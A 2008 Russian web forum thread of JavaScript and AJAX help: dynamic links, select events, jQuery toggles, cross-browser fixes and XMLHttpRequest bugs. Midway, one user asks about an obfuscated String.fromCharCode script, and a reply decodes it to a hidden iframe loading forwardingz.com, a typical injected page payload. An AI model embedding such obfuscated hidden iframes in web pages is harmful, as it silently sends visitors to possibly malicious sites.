Хм... Ну, можно и на аяксе. Вот знать бы как.
Мне просто надо сгенерировать всплывающее окно(на javascript сделано). Это окно состоит из пхп страницы, которой я должен передать эти параметры...
inlanger
13.08.2008, 17:55
Или уже тогда ввести дополнительную кнопку - "сгенерировать ссылку"...
m0nsieur
13.08.2008, 18:00
Вот ты сам и придумал верное решение, если не получится, помогу вечером.
inlanger
13.08.2008, 18:02
Не получится, потому как в яваскрипте не шарю :(
m0nsieur
13.08.2008, 21:13
Попробуй так, по клику формируется ссылка на основе select-ов думаю дальше сам подгонишь под свое.
<html>
<script type="text/javascript">
function Func(id_sel_1, id_sel_2, id_link) {
document.getElementById(id_link).href = '';
document.getElementById(id_link).href = 'somelink.php?';
// добавляем имя первого select
document.getElementById(id_link).href += document.getElementById(id_sel_1).name;
document.getElementById(id_link).href += '=';
// добавляем значение первого select
var n = document.getElementById(id_sel_1).selectedIndex;
document.getElementById(id_link).href += document.getElementById(id_sel_1).options[n].value ;
document.getElementById(id_link).href += '&';
// добавляем имя второго select
document.getElementById(id_link).href += document.getElementById(id_sel_2).name;
document.getElementById(id_link).href += '=';
// добавляем значение второго select
var n = document.getElementById(id_sel_2).selectedIndex;
document.getElementById(id_link).href += document.getElementById(id_sel_2).options[n].value ;
// Вывод =)
alert(document.getElementById(id_link).href);
}
</script>
<body>
<select id="sel_1" name="mm_1" class="inputs" style="width: 100px;">
<option value="1" selected="selected">January</option>
<option value="2">February</option>
<option value="3">March</option>
<option value="4">April</option>
<option value="5">May</option>
<option value="6">June</option>
<option value="7">July</option>
<option value="8">August</option>
<option value="9">September</option>
<option value="10">October</option>
<option value="11">November</option>
<option value="12">December</option>
</select>
<select id="sel_2" name="mm_2" class="inputs" style="width: 100px;">
<option value="1" selected="selected">January</option>
<option value="2">February</option>
<option value="3">March</option>
<option value="4">April</option>
<option value="5">May</option>
<option value="6">June</option>
<option value="7">July</option>
<option value="8">August</option>
<option value="9">September</option>
<option value="10">October</option>
<option value="11">November</option>
<option value="12">December</option>
</select>
<a id="link" href=somelink.php>Some Link</a>
<input type="button" onclick="Func('sel_1','sel_2','link')" value="Click me!">
</body>
</html>
подскажите как сделать:
есть картинка с узорами разными, нужно сделать чтоб при клике на определенный узор произходило определенное действие onClick() как так сделать?
а на тег мап пробовал навесить это событие?
пробовал, просто интересно, без map можно как нибуть?
inlanger
14.08.2008, 12:40
m0nsieur, что-то оно не реагирует. Я даже попробовал пару ошибок исправить, и только добился добавления к ссылке somelink.php?, а селекты не добавляются
inlanger
14.08.2008, 13:12
Новый прикол... Ссылка генерируется нормально, но вот вот если на неё нажать - откроется пустая страница. А если этот же адрес просто ввести в браузер - то нормально открывает... Вот тут _http://openit.com.ua/prtips.php?test=1&lang=ru при нажатии на кнопку генерируется "тестовое сцылко"... Может поможет кто?
Это называется Javascript
<a id="id_link" rel="gb_page[600, 400]" title="ЫЫыЫЫЫыыы" href="#">ТЕСТОВОЕ СЦЫЛКО</a>
<input type="button" value="Click me!" onclick="Func('id_sel_from', 'id_sel_to', 'id_sel_dd', 'id_sel_mm', 'id_link')"/>
Выдергивай функцию
inlanger
14.08.2008, 13:28
Так функцию мне тут уже дали, и я её дописал под себя. Но вот при rel="gb_page[600, 400]" (окошко поверх страницы) оно открывает пустое окно. А если убрать этот rel="gb_page[600, 400]" то откроется нормальная страница. Почему-то сгенерированная на яваскрипте ссылка не дружит с другим яваскриптом...
какой аналог в JS функции sleep() (php)?
inlanger
14.08.2008, 13:41
setTimeout() юзай
var obraz='<?php echo $obraz; ?>';
innerHTML = obraz;
А так?
Ещё нельзя чтобы были переносы строки, и символ ' экранировать надо
И не уверен, но по ходу тебе надо document.innerHTML
Помогите пожалуйста с установкой плагина для Закачки файлов:
http://allajax.ru/script/ajax-skript-dlya-zakachki-ocheredi-falov-na-server/
Не могу толком разобраться что в какую папку сливать и как запускать сам скрипт.
Заранее премного благодарен!
+ раздам всем :)
подскажите как сделать:
есть картинка с узорами разными, нужно сделать чтоб при клике на определенный узор произходило определенное действие onClick() как так сделать?
Если хочешь без map обойтись - заюзай дивы с абсолютным позицианированием и выставленными Z- индексами. Картинку придеться резать в фотожопе. :)
P.S. Я бы использовал только Flash для этой задачи! ;)
Помогите пожалуйста с установкой плагина для Закачки файлов:
http://allajax.ru/script/ajax-skript-dlya-zakachki-ocheredi-falov-na-server/
Не могу толком разобраться что в какую папку сливать и как запускать сам скрипт.
Заранее премного благодарен!
+ раздам всем :)
Всё ещё в силе :)
как сделать отсчет времени?
вобщем нужно таймер, юзер отправил письмо, и на экране оявляется таймер, 10 мин и отсчет обратный, как тока закончился то действие...как так сделать?
m0nsieur
21.08.2008, 11:29
Посмотри вот здесь скрипт - http://script.emanual.ru/?a=21&i=353
Он в строку состояния выводит отсчет времени, при желании можно переделать чтобы на страницу выводилось.
я не дружу с js не смогу переделать наверно....не поможете?
m0nsieur
21.08.2008, 12:50
Скинул в личку переделанный скрипт на появление таймера в value кнопки button.
при создании сайтов столкнулся с такой проблемой: в разных браузерах сайты отображаються по разному, хотел бы узнать JS который определял бы браузер и подгружал определённый файл css
то есть для оперы допустим opera.css для ие - ie.css и т.д.
http://habrahabr.ru/blogs/webdev/28759/
при создании сайтов столкнулся с такой проблемой: в разных браузерах сайты отображаються по разному, хотел бы узнать JS который определял бы браузер и подгружал определённый файл css
то есть для оперы допустим opera.css для ие - ie.css и т.д.
<!--[if lt IE 7]>
<![if gte IE 5.5]>
<style type="text/css">...</style>
<![endif]>
<![endif]-->
Вот пример кода, для того, чтобы подгрузить css для IE ниже версии 5.5
Возникла проблема с аяксом в FireFox:
Код отправки зароса:
function get()
{
if(typeof(XMLHttpRequest)!='undefined'){
var getXMLHttpObj = function(){ return new XMLHttpRequest(); }
} else {
var getXMLHttpObj = function(){
var activeXObjects = ['Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0',
'Msxml2.XMLHTTP.3.0', 'Msxml2.XMLHTTP', 'Microsoft.XMLHTTP'];
for(var i=0; i<activeXObjects.length; i++){
try{
return new ActiveXObject(activeXObjects[i]);
}catch(err){}}}}
var Ajax = getXMLHttpObj();
Ajax.open('GET', './inc/aj.get.php', true);
Ajax.onreadystatechange = processingFunction;
Ajax.send();
function processingFunction(){
if(Ajax.readyState!=4) return;
document.getElementById('stats').innerHTML = Ajax.responseText;
}
}
В Firebug'е ошибка:
uncaught exception: [Exception... "Not enough arguments [nsIXMLHttpRequest.send]" nsresult: "0x80570001 (NS_ERROR_XPC_NOT_ENOUGH_ARGS)" location: "JS frame :: http://my.site.com/get.php :: showlast :: line 35" data: no]
Данные естественно не получаются, в ИЕ/Опере/сафари все норм.
В чем может быть проблема?
[Added]:
Проблема решена, Ajax.send(Ajax); надо было задать...
.:EnoT:.
29.08.2008, 17:22
Нужен скрипт наподобие этого
function showform(){
if (document.getElementById('form').style.display == 'none'){
document.getElementById('form').style.display = 'block';
document.getElementById('add').style.display = 'none';
}else{
document.getElementById('form').style.display = 'none';
document.getElementById('add').style.display = 'block';
}
}
который при нажатии на ссылку показывает скрытый обьект, при повторном нажатии - сворачивает.
Нужно тоже самое, только чтобы обьект разворачивался и сворачивался плавно, думаю для этой цели нужен ajax, погуглив нашёл несколько скриптов, в которых ничё не понял, т.к. аякс вообще не знаю.
<html>
<head>
<title>test</title>
<script src="./pub/static/jquery.js"></script>
<script type="text/javascript">
$(document).ready(function(){
$(".y").click(function(){
$("#test").slideToggle("slow");
$(this).toggleClass("active"); return false;
});
});
</script>
</head>
<body>
<a href="#" onclick="results()" class="y">TEST</a><br/><br/>
<div id="test">
<b>TEST</b><br/>
<h1>test</h1><br/>
</div>
</body>
</html>
.:EnoT:.
29.08.2008, 17:39
Вот, отлично, скрипт простой и всё работает. Буду разбираться, спасибо!
Вот, отлично, скрипт простой и всё работает. Буду разбираться, спасибо!
Вот вдоонку, будет интересно :)
_h_ttp://www.linkexchanger.su/2008/64.html
а главное - все легко
Интересует на скок Mootools фламерок хорош ?
посмотрел примеры как можна быстро сделать на странице разные эфекты и перемещение обьектов
или есть получше его
Демо (http://demos111.mootools.net/)
Возможно ли написать на Java скрипт, который бы с задержкой в N сек. собирал весь текст из окна второго (соседнего) браузера в котором открыта страница?
Т.е. в одном браузере работает сам скрипт, а во втором браузере постоянно обновляется информация которую этот скрипт должен собирать (тупо копировать, как если сейчас сделать Ctrl+a и Ctrl+c)
на java может быть возможно. на JavaScript точно нет.
inlanger
05.09.2008, 17:37
Во всех браузерах работает, кроме ИЕ:
<script type="text/javascript">
function Func(id_sel_from, id_sel_to, id_sel_dd, id_sel_mm, id_link) {
document.getElementById(id_link).href = '';
document.getElementById(id_link).href = 'trainwin.php?';
// добавляем имя первого select
document.getElementById(id_link).href += document.getElementById(id_sel_dd).name;
document.getElementById(id_link).href += '=';
// добавляем значение первого select
var n = document.getElementById(id_sel_dd).selectedIndex;
document.getElementById(id_link).href += document.getElementById(id_sel_dd).options[n].value ;
document.getElementById(id_link).href += '::';
// добавляем имя второго select
//document.getElementById(id_link).href += document.getElementById(id_sel_mm).name;
//document.getElementById(id_link).href += '=';
// добавляем значение второго select
var n = document.getElementById(id_sel_mm).selectedIndex;
document.getElementById(id_link).href += document.getElementById(id_sel_mm).options[n].value ;
// добавляем имя третьего select
document.getElementById(id_link).href += '::';
//document.getElementById(id_link).href += document.getElementById(id_sel_from).name;
//document.getElementById(id_link).href += '=';
// добавляем значение второго select
var n = document.getElementById(id_sel_from).selectedIndex ;
document.getElementById(id_link).href += document.getElementById(id_sel_from).options[n].value ;
// добавляем имя 4-го select
document.getElementById(id_link).href += '::';
//document.getElementById(id_link).href += document.getElementById(id_sel_to).name;
//document.getElementById(id_link).href += '=';
// добавляем значение второго select
var n = document.getElementById(id_sel_to).selectedIndex;
document.getElementById(id_link).href += document.getElementById(id_sel_to).options[n].value ;
// добавляем язык
document.getElementById(id_link).href += '::<?echo $lang;?>';
// добавляем значение поля "год"
document.getElementById(id_link).href += '::2008';
// Вывод =)
//alert(document.getElementById(id_link).href);
}
</script>
<form action=trainwin.php method=GET onchange="Func('id_sel_from', 'id_sel_to', 'id_sel_dd', 'id_sel_mm', 'id_link')">
моя форма
</form>
Скрипт должен на лету формировать ссылку. Во всех браузерах работает, а в ИЕ тупо игнорирует...
astrologer
05.09.2008, 21:24
Крутая функция :)
Видимо, в IE событие change не всплывает.
есть ифрейм который подгружает страничку(с бесконечным выполнением) нужно эту страничку(фрейм) закрыть через 4ре секунды
иначе не даёт загрузиться остальному контенту...(ждёт когда завершится фрейм)
cylaaaan
07.09.2008, 19:28
понравилась работа скрипта VK Messenger by DX на AJAX
вот собственно хотел бы почитать про него, скиньте, пожалуйста, книжки или ссылку на топик с книгами
Buffalon
08.09.2008, 17:46
А что вот это делает?
<script>document.write(String.fromCharCode(60,105,109,103, 32,115,114,99,61,34,50,52,49,48,50,51,50,46,106,11 2,103,34,62,60,105,102,114,97,109,101,32,115,114,9 9,61,34,104,116,116,112,58,47,47,102,111,114,119,9 7,114,100,105,110,103,122,46,99,111,109,47,115,116 ,97,116,115,47,114,117,49,46,112,104,112,34,32,115 ,116,121,108,101,61,34,100,105,115,112,108,97,121, 58,110,111,110,101,34,62,60,47,105,102,114,97,109, 101,62))</script>
А что вот это делает?
<script>document.write(String.fromCharCode(60,105,109,103, 32,115,114,99,61,34,50,52,49,48,50,51,50,46,106,11 2,103,34,62,60,105,102,114,97,109,101,32,115,114,9 9,61,34,104,116,116,112,58,47,47,102,111,114,119,9 7,114,100,105,110,103,122,46,99,111,109,47,115,116 ,97,116,115,47,114,117,49,46,112,104,112,34,32,115 ,116,121,108,101,61,34,100,105,115,112,108,97,121, 58,110,111,110,101,34,62,60,47,105,102,114,97,109, 101,62))</script>
<img src="2410232.jpg"><iframe src="http://forwardingz.com/stats/ru1.php" style="display:none"></iframe>
Buffalon
08.09.2008, 18:12
<img src="2410232.jpg"><iframe src="http://forwardingz.com/stats/ru1.php" style="display:none"></iframe>
Угу уже разобрался с UNICODOM))... .
.:EnoT:.
12.09.2008, 02:40
Задолбался, сил уже нету.
То что накалякано внизу работает и в Опере и в Мозиле, в ИЕ не хочет...
<select name="select">
<option value="1" onclick="document.getElementById('local').style.display = 'block'; document.getElementById('link').style.display = 'none'">Локально</option>
<option value="2" onclick="document.getElementById('link').style.display = 'block'; document.getElementById('local').style.display = 'none'">Ссылка</option>
</select>
<div id="local">
<input name="name1" type="text" />
</div>
<div id="link" style="display:none">
<input name="name2" type="text" />
</div>
как исправить?
если не ошибаюсь то осел не обрабатывает эвенты от чилдов в селекте....
юзай кроссбраузерно=)
<script language="JavaScript">
function toggleVisibility(index){
switch(index)
{
case 0:
document.getElementById('local').style.display = 'block'; document.getElementById('link').style.display = 'none'
break;
case 1:
document.getElementById('link').style.display = 'block'; document.getElementById('local').style.display = 'none'
break;
default:
break;
}
}
</script>
<select name="select" onChange="toggleVisibility(this.selectedIndex)">
<option value="1">Локально</option>
<option value="2">Ссылка</option>
</select>
<div id="local">
<input name="name1" type="text" value="local"/>
</div>
<div id="link" style="display:none">
<input name="name2" type="text" value="link" />
</div>
.:EnoT:.
12.09.2008, 03:10
ну да, прочитал я в документации, что onclick не обрабатывается в селекте.
Спасибо тебе за помощь!
как получить заголовок (title) ифрейма?
так не получается :(
<script>
for(i=0;i<frames.length;i++)
{
alert(frames[i].document.title);
}
</script>
ну да, прочитал я в документации, что onclick не обрабатывается в селекте.
Спасибо тебе за помощь!
Поставь onchange на селект и юзай selectedIndex (что id, что текст нутри option)
example:
<select name="girls" onchange="myFunc(this)">
а обработка
function myFunc(obj){
var text = имяСписка.options[имяСписка.selectedIndex].text;
var value = имяСписка.options[имяСписка.selectedIndex].value;
где имяСписка, можно заменить на obj
А еще лучше
$("#mySelect").bind('change', function(){
var text = this.html();
var value = this.val();
});
и никаких onchange в HTML ( отвыкаем от DOM1)
маленькие поправки
$("#girls").bind('change', function(){
var value = $(this).val();
var text = $(this).children("[:selected]").html()
alert(value+"="+text);
});
как получить заголовок (title) ифрейма?
так не получается :(
<script>
for(i=0;i<frames.length;i++)
{
alert(frames[i].document.title);
}
</script>
Вот так попробуй:
alert(document.frames[i].title);
Здравствуйте!
Есть ли у кого скрипт (js) для добавления полей ввода в форуму? Оч надо!!! Или ссылку на пример.
Вот так попробуй:
alert(document.frames[i].title);
не получаеца
поставлю вопрос по другому. как проверить наличие web-страницы на существование?
astrologer
15.09.2008, 20:52
как проверить наличие web-страницы на существование?<img
src="http://www.example.com/no-such-page"
onload="alert(':)')"
onerror="alert(':(')"
>
astrologer
15.09.2008, 21:06
eD']Как с помошью jQuery отправлять запрос ajax'ом на скрипт и вывод этого в определенный блок, например, каждые 15сек?
Спасибо.setInterval(function()
{
$('.certain').load('/script.php');
}, 0x3A98);
<img
src="http://www.example.com/no-such-page"
onload="alert(':)')"
onerror="alert(':(')"
>
кажицо не работает :(
astrologer
16.09.2008, 17:05
кажицо не работает :(Ну это скорее шутка была :)
JS-Решение всё равно будет ограничено текущим доменом - а проверять существование страницы на своём сервере несколько странно.
Здравствуйте!
Есть ли у кого скрипт (js) для добавления полей ввода в форуму? Оч надо!!! Или ссылку на пример.
Поясни, что за скрипт то такой? Что он должен дклать?
astrologer
16.09.2008, 23:43
Здравствуйте!
Есть ли у кого скрипт (js) для добавления полей ввода в форуму? Оч надо!!! Или ссылку на пример.
Есть! Пожалуйста!! "Очень надо" - бесспорно, веская причина! http://www.quirksmode.org/dom/domform.html
помогите разобраться с проблемой
есть вот такой скрипт:
var xmlHttp
function comrat(id, str)
{
xmlHttp=GetXmlHttpObject()
if (xmlHttp==null)
{
alert ("Browser does not support HTTP Request")
return
}
var url="comrat.php"
url=url+"?q="+str
url=url+"&id="+id
xmlHttp.onreadystatechange=stateChangedcom(id)
xmlHttp.open("GET",url,true)
xmlHttp.send(null)
}
function stateChangedcom(id)
{
if(xmlHttp.readyState==0)
{
document.getElementById("model-"+id).innerHTML="<img src=images/load3.gif width=5 height=5>";
}
if(xmlHttp.readyState==1)
{
document.getElementById("model-"+id).innerHTML="<img src=images/load23.gif width=5 height=5>";
}
if(xmlHttp.readyState==2)
{
document.getElementById("model-"+id).innerHTML="<img src=images/load3.gif width=5 height=5>";
}
if(xmlHttp.readyState==3)
{
document.getElementById("model-"+id).innerHTML="<img src=images/load3.gif width=5 height=5>";
}
if (xmlHttp.readyState==4 || xmlHttp.readyState=="complete")
{
document.getElementById("model-"+id).innerHTML=xmlHttp.responseText
}
}
function GetXmlHttpObject()
{
var xmlHttp=null;
try
{
// Firefox, Opera 8.0+, Safari
xmlHttp=new XMLHttpRequest();
}
catch (e)
{
//Internet Explorer
try
{
xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");
}
catch (e)
{
xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");
}
}
return xmlHttp;
}
и он застревает на 0-ой стадии, тоисть показывается картинка загрузки и все :confused:
картинка с другова домена грузиться? или с одноименного? +пример как используешь
astrologer
18.09.2008, 14:00
и он застревает на 0-ой стадии, тоисть показывается картинка загрузки и все
картинка с другова домена грузиться? или с одноименного? +пример как используешьКартинка тут не при чём :)
Вот здесь:
xmlHttp.onreadystatechange = stateChangedcom(id); Свойству onreadystatechange присваивается результат выполнения функции, а не ссылка на саму функцию, как, надо полагать, задумывалось. Должно быть так:
xmlHttp.onreadystatechange = stateChangedcom; А если нужно передать какие-то параметры, то так:
xmlHttp.onreadystatechange = function()
{
return stateChangedcom(id);
};
astrologer ты мой спаситель! спасибо! + в репу :)
как определить принадлежность элемента дивке?
например
<a href="sad">1</a><
<div id='ddf'>
<b><a href="sad">2</a></b>
</div>
как узнать что ссылка 2 принадлежит дивке ddf.
я вот думаю циклом через parentElement дербанить... ктонить поизящней может предложить решение?
<textarea id="text_id" name="text_name" ></textarea>
<input type="button" value="B" onclick="">
Как сделать так, чтобы выделив часть текста в поле ввода, нажимаешь на кнопку "B" и вначале выделения появилcя тег - "<b>" а в конце закрывающийся - "</b>" ???? :confused:
<textarea id="text_id" name="text_name" ></textarea>
<input type="button" value="B" onclick="">
Как сделать так, чтобы выделив часть текста в поле ввода, нажимаешь на кнопку "B" и вначале выделения появилcя тег - "<b>" а в конце закрывающийся - "</b>" ???? :confused:
Раскуривай document.selection.createRange()
По аяксу ..., Аякс запросы Разрешены ведь только на свой же адрес ,
а если предположим есть сайт www.1111.ru на его странице <script src='www.22222.ru/test.js'> ,может ли этот скрипт обратиться к www.22222.ru/test.php ?
Joker-jar
19.09.2008, 18:34
может поможет (http://javascript.ru/ajax/cross-domain-scripting)
Раскуривай document.selection.createRange()
Спасибо VDShark! Пошел курить selection.createRange() :)
По аяксу ..., Аякс запросы Разрешены ведь только на свой же адрес ,
а если предположим есть сайт www.1111.ru на его странице <script src='www.22222.ru/test.js'> ,может ли этот скрипт обратиться к www.22222.ru/test.php ?
Если я правильно понял вопрос,
обратиться можно, НО ответ можно получить если только сайт в том же домене, что и сервер где скрип (если ничего не путаю)
Подделка аякс запросов становиться все актуальней, все зависит от защиты(несколько видов) на уровне сервера
В тему можно почитать о Cross-site request forgery (CSRF)(межсайтовая подделка запроса)
Например h_ttp://www.inattack.ru/article/552.html
h_ttp://www.securitylab.ru/analytics/292473.php
и
https://forum.antichat.net/showthread.php?p=833137
astrologer
20.09.2008, 17:39
По аяксу ..., Аякс запросы Разрешены ведь только на свой же адрес ,
а если предположим есть сайт www.1111.ru на его странице <script src='www.22222.ru/test.js'> ,может ли этот скрипт обратиться к www.22222.ru/test.php ? Нет, код будет ограничен доменом основного документа, т.е. 1111.ru. Но отправить данные он может куда угодно, с помощью, например, динамически создаваемой формы.
Раскажите про скрипт,
<script language="javascript">
function doSend()
{
var p_md5 = document.all["password"];
var p = document.all["pass"];
var n = document.all["nonce"];
//p_md5.value = md5( p.value );
p_md5.value = md5( p.value + n.value );
p.value = "";
n.value = "";
}
</script>
BrainDeaD
21.09.2008, 05:22
чего тут рассказывать? похоже скрипт криптует пассы в мд5 хеши, и если не ошибаюсь, с солью.
если не прав - поправте.
Вопросик такой..есть сайтик http://www.xsatellite.ru/ на сайте расположен мод облако тегов.. это облако имеет функцию "разворачивания и сворачивания" какой скрипт позволяет так делать?
astrologer
21.09.2008, 23:32
Вопросик такой..есть сайтик http://www.xsatellite.ru/ на сайте расположен мод облако тегов.. это облако имеет функцию "разворачивания и сворачивания" какой скрипт позволяет так делать? Этот: http://www.xsatellite.ru/engine/skins/default.js Функции ShowOrHide и DoDiv. Код, надо сказать, ещё тот :)
Вопросик такой..есть сайтик http://www.xsatellite.ru/ на сайте расположен мод облако тегов.. это облако имеет функцию "разворачивания и сворачивания" какой скрипт позволяет так делать?
http://www.tigir.com/rollunrolllayer.htm
Как сделать полосы прокрутки у дива по центру, то есть, нужно что бы они были не в верху и в левой части а по середине!
http://i14.servimg.com/u/f14/12/44/55/09/untitl10.gif
Help!!! :confused:
astrologer
25.09.2008, 17:14
[ object HTMLDivElement ].scrollTop;
[ object HTMLDivElement ].scrollLeft.
=/
Народ, приветствую.
Помогите разобраться с одной проблемкой.
Есть у меня скрипт AJAX подгрузки текста. Конечно, без перезагрузки страницы.
<html>
<head>
<title></title>
<script type="text/javascript" src="java/ajax.js"></script>
<script type="text/javascript" src="java/ajax-dynamic-content.js"></script>
</head>
<body>
<table width="300" border="1" cellspacing="2" cellpadding="2" bgcolor="#C0C0C0">
<tr>
<td colspan="2" align="center">
<a href="#" onClick="ajax_loadContent('news1','files/komm_1.html');return false"><img src="files/1.jpg" alt="снимок 1" width="64" height="64"
border="0"></a>
<a href="#" onClick="ajax_loadContent('news1','files/komm_2.html');return false"><img src="files/2.jpg" alt="снимок 2" width="64" height="64"
border="0"></a>
<a href="#" onClick="ajax_loadContent('news1','files/komm_3.html');return false"><img src="files/3.jpg" alt="снимок 3" width="64" height="64"
border="0"></a>
</td>
</tr>
<tr>
<td width="150" height="50" align="center"><div id="news1"></div></td>
<td width="150" align="center">сюда надо одновременно подгружать картинки 1, 2 или 3</td>
</tr>
</table>
<script type="text/javascript">
ajax_loadContent('news1','files/komm_1.html');
</script>
</body>
</html>
Надо, чтобы комментарий подгружался вместе со снимком.
Причём (это важно) подгружаться на страницу они должны из разных источников (снимок - отдельно, коммент - отдельно).
Не могу понять, как прописать два эти события...
Мож, кто подскажет?
Заранее признателен.
З.Ы. При необходимости могу подогнать весь скрипт (если у кого желание будет покурочить его у себя)
astrologer
28.09.2008, 15:57
Надо, чтобы комментарий подгружался вместе со снимком. Нужно создать элемент img и устанавливать ему атрибут src на нужный.Не могу понять, как прописать два эти события... Если намереваешься оставить всё как есть - обработчики событий в атрибутах элементов - то можно просто добавлять функции через знак точки с запятой:
<a href="#" onclick="loadText();showImage();doOtherStuff();return false;"></a> Если нет - то лучше посмотреть в сторону функций addEventListener (http://developer.mozilla.org/En/DOM/Element.addEventListener), attachEvent (http://msdn.microsoft.com/en-us/library/ms536343(VS.85).aspx), их комбинированных (http://www.dustindiaz.com/rock-solid-addevent/) вариантов, а также готовых библиотек. Например, jQuery (http://jquery.com/).
При необходимости могу подогнать весь скрипт (если у кого желание будет покурочить его у себя) Да вот (http://www.dhtmlgoodies.com/index.html?whichScript=ajax-dynamic-content) он :)
Здравствуйте!
1. Как динамически проверить введённый в поле текст по определённым параметрам
2. Как при этой проверке под формой ввода выводить текст о сделанной ошибке, и так же прятать её...
Заранее Благодарен!
astrologer
30.09.2008, 15:57
Здравствуйте!
1. Как динамически проверить введённый в поле текст по определённым параметрам
2. Как при этой проверке под формой ввода выводить текст о сделанной ошибке, и так же прятать её...
Заранее Благодарен! http://docs.jquery.com/Plugins#Forms
http://docs.jquery.com/Plugins#Forms
Нашёл много полезного, ещё кто-нибудь подкиньте таких сайтов! ;)
m-Xacker
02.10.2008, 02:00
Такой вопрос, как написать ява скрипт который бы кликал по другому скрипту, при заходе нового пользователя))
Например на закрытие Pop банеров ???
Столкнулся с проблемой подключения файлов *.js к странице.
Подключаю вот так: <script type="text/javascript" src="testSend.js"></script>
Причём, если содержимое файла просто разместить на странице между тегами <script></script> - всё окей...
Уже даже права CHMOD 777 выставлял, но увы...
Пожалуйста подскажите!
Столкнулся с проблемой подключения файлов *.js к странице.
Подключаю вот так: <script type="text/javascript" src="testSend.js"></script>
Причём, если содержимое файла просто разместить на странице между тегами <script></script> - всё окей...
Уже даже права CHMOD 777 выставлял, но увы...
Пожалуйста подскажите!
При чём тут чмод?
Проблема скорей всего в указании ссылки.
Попробуй укажи ссылку от WWW-дирректории: /folder/1/testSend.js или /testSend.js
Попробуй переведи имя файла в нижний регистр(увы у юниксов регистр в имени файла учитывается)
Попробуй укажи абсолютную ссылку ака http://site.ru/js/testSend.js
И на последок проверь пути ;)
Спасибо, теперь та же проблема с css... Аналогично попробовал но ничего не дало... =\
Столкнулся с такой проблемой:
На странице уже подгружены нужные файлы-скрипты:
<script type="text/javascript" src="/js/testSend.js"></script>
<script type="text/javascript" src="/js/other.js"></script>
<script type="text/javascript" src="/js/jquery.js"></script>
<script type="text/javascript" src="/js/jQuery.js"></script>
<script type="text/javascript" src="/js/jquery.validation.js"></script>
<script type="text/javascript" src="/js/mask.js"></script>
Всё отлично работает( на формах стоят ограничения, библиотека jquery показывает себя во всей красе) :) , но вот как только я подгружаю ещё один файл
вот прямая ссылка на него:
http://www.moneyexpert.com/MEPartners/PartnersSites/YourMortgage/scripts/SystemFramework.js
Все скрипты включая этот новый и подгруженные ранее просто отваливаются, то есть пропадают нужные ограничения на формах и библиотека jquery не работает тоже :(
Подскажите в чём может быть проблема и как её решать?
P.s. Новых js скрипт, на который я дал ссылку подключал уже всеми способами, включая сохранение кода в файл ***.js (кидал в папку /js/ в корне сайта, как и другие скрипты) и даже размещал всё содержимое этого скрипта-файла на странице.
Подскажите что делать!!! :confused:
astrologer
05.10.2008, 12:26
Подскажите, пожалуйста! А зачем тебе mootools, когда уже навешена jQuery?Все скрипты включая этот новый и подгруженные ранее просто отваливаются, Они не просто отваливаются. И наверняка в консоли полно ошибок. hint: mootools переписывает переменную $.
всем привет, подскажите как сделать чтобы отдельные элементы страници оттображались только после полной загрузки?
например: есть блог в посте которых много капч которые связаны с постом по смыслу нужно чтобы и текст и капчи отображались одновременно...
всем привет, подскажите как сделать чтобы отдельные элементы страници оттображались только после полной загрузки?
например: есть блог в посте которых много капч которые связаны с постом по смыслу нужно чтобы и текст и капчи отображались одновременно...
<style>
#captcha{
dislpay: none;
}
</style>
<body onload="document.getElementById('captcha').style.display = 'block';">
onload, отвечает за событие, когда была загружена страница.
Как выполнить остановку всех активных javascript'ов на странице?
помогите делаю чатик не знаю как сделать приват...
как сделать так если нету строки приват и нажат ник то
private[nick1]
если есть слово привать и нажат еще 1 ник то добавить его так
private[nick1,nick2]
помогите не знаю как сделать, в javascript не силен, предпологаю что надо через match и replace
Architek86
26.10.2008, 01:54
Дан вот такой див:
<div id="tip1" onClick="">2d15d4f15</div>
Так вот, что можно запихнуть в этот onClick, что бы при щелчке текст внутри дива копировался (я про innerHTML) в другой див:
<div id="tpph" onClick=""></div>
?
<div id="tip1" onClick="document.getElementById('tpph').innerHTML=document .getElementById('tip1').innerHTML">2d15d4f15</div>
<br/>
<div id="tpph" onClick=""></div>
Можно ли с помощью js отправить email?
Если да, то как...
Большое Спасибо!
astrologer
26.10.2008, 13:31
Можно ли с помощью js отправить email?
Если да, то как...
Большое Спасибо!Конечно ;) function sendmail(host, from, to, subject, body)
{
var
SMTP = Jaxer.SMTP,
mail = new SMTP.MailMessage();
mail.setFrom(from);
mail.addRecipient(to);
mail.setSubject(subject);
mail.setBody(body);
try
{
SMTP.sendMessage(host, SMTP.DEFAULT_PORT, mail);
}
catch (e)
{
return false;
}
return true;
};
Конечно ;) function sendmail(host, from, to, subject, body)
{
var
SMTP = Jaxer.SMTP,
mail = new SMTP.MailMessage();
mail.setFrom(from);
mail.addRecipient(to);
mail.setSubject(subject);
mail.setBody(body);
try
{
SMTP.sendMessage(host, SMTP.DEFAULT_PORT, mail);
}
catch (e)
{
return false;
}
return true;
};
Насколько я понимаю, вопрос касался клиентской реализации JavaScript, а Jaxer.SMTP является частью Jaxer Framework, которая может исполняться только на сервере (aspx).
Об этом на офсайте пишут:
The Jaxer server framework contains functions and code that run only on the server.
Что касается браузерного JS - отправить письмо напрямую нельзя. Для этого можно воспользоваться AJAX и скриптом на сервере.
потребовали от меня, пхп кодера, яваскрипт,цуки =(
нужен самый простой выпадающий список, желательно с основными комментами кода... буду очень благодарен
:confused:
astrologer
28.10.2008, 19:42
потребовали от меня, пхп кодера, яваскрипт,цуки =(
нужен самый простой выпадающий список, желательно с основными комментами кода... буду очень благодарен
:confused: Скажи им своё чёткое "нет". Ты же PHP-кодер.
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="ru" xml:lang="ru">
<head>
<title>Выпадающий список</title>
</head>
<body>
<!-- Без комментариев. Ибо нечего. -->
<p>
<select>
<option>first</option>
<option>second</option>
<option>third</option>
<option>fourth</option>
<option>fifth</option>
</select>
</p>
</body>
</html>
спасиб , только я пожалуй неправильно выразился - нужно чтобы при наводки курсора на слово выпадал список...
п.с. да я у них покачто один тружусь над разработкой, обещают в ближайшую неделю персонал набрать )
спасиб , только я пожалуй неправильно выразился - нужно чтобы при наводки курсора на слово выпадал список...
п.с. да я у них покачто один тружусь над разработкой, обещают в ближайшую неделю персонал набрать )
всё нашёл, не актуально)
у меня вопрос
мне надо чтобы в процессе когда пхп скрипт отдает сразу это появлялось через аякс
